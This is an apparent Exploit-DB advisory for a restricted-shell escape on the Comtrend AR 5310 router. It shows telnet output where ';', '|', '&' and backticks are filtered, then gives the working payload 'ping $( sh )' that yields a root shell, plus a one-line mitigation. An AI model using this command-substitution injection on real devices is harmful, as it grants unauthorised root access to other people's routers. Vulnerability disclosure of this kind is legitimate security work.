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vendor:
AR 5310
by:
AMRI Amine
7.5
CVSS
HIGH
Restricted Shell Escape
N/A
CWE
Product Name: AR 5310
Affected Version From: GE31-412SSG-C01_R10.A2pG039u.d24k
Affected Version To: GE31-412SSG-C01_R10.A2pG039u.d24k
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Linux (busybox)
2019

Comtrend-AR-5310 – Restricted Shell Escape

Comtrend AR 5310 routers have a restricted shell, the list of command a user can execute is [ ? help logout exit quit reboot ads lxdslctl xtm loglevel logdest virtualserver ddns dumpcfg dumpmdm meminfo psp dumpsysinfo dnsproxy syslog ifconfig ping sntp sysinfo tftp wlan wlctl vlanctl arp defaultgateway dhcpserver dns lan lanhosts passwd ppp restoredefault route nslookup traceroute save uptime exitOnIdle wan build version serialnumber modelname acccntr upnp urlfilter timeres tr69cfg logouttime ipneigh dhcp6sinfo nat mcpctl ]. Usual terminal constructs like the command separator ';', the control operator '&' (run in forground), the redirection operator (pipe) '|', the command substitution operator '`' are all filtered. Still the $ operator is not filtered, so invoking a command with $( subcommand ) as argument would give an obvious shell.

Mitigation:

Filter the $ operator.
Source

Exploit-DB raw data:

# Exploit Title: Comtrend-AR-5310 - Restricted Shell Escape
# Date: 2019-07-20
# Exploit Author: AMRI Amine
# Vendor Homepage: https://www.comtrend.com/
# Version: GE31-412SSG-C01_R10.A2pG039u.d24k
# Tested on: Linux (busybox)

TL;DR: A local user can bypass the restricted shell using the command substitution operator $( commmand )

Comtrend AR 5310 routers have a restricted shell, the list of command a user can execute is

[ ? help logout exit quit reboot ads lxdslctl xtm loglevel logdest virtualserver ddns dumpcfg dumpmdm meminfo psp dumpsysinfo dnsproxy syslog ifconfig ping sntp sysinfo tftp wlan wlctl vlanctl arp defaultgateway dhcpserver dns lan lanhosts passwd ppp restoredefault route nslookup traceroute save uptime exitOnIdle wan build version serialnumber modelname acccntr upnp urlfilter timeres tr69cfg logouttime ipneigh dhcp6sinfo nat mcpctl ]

Usual terminal constructs like:

    the command separator ";"
    the control operator "&" (run in forground)
    the redirection operator (pipe) "|"
    the command substitution operator "`"

are all filtered as shown here :

 > ;
Warning: operator ; is not supported!
telnetd:error:476.449:processInput:490:unrecognized command 
 > |
Warning: operator | is not supported!
telnetd:error:484.871:processInput:490:unrecognized command 
 > &
Warning: operator & is not supported!
telnetd:error:487.421:processInput:490:unrecognized command 
 > `
Warning: operator ` is not supported!
telnetd:error:495.334:processInput:490:unrecognized command 

Still the $ operator is not filtered:

 > $
telnetd:error:497.862:processInput:490:unrecognized command $

Here i came to the conclusion that invoking a command with $( subcommand ) as argument would give an obvious shell

> ping $( sh )                                                              
exec >&2                                                                     
ps x | grep telnet                                                           
18333 root      4164 S    telnetd -m 0                                       
18334 root      4168 S    telnetd -m 0                                       

EOF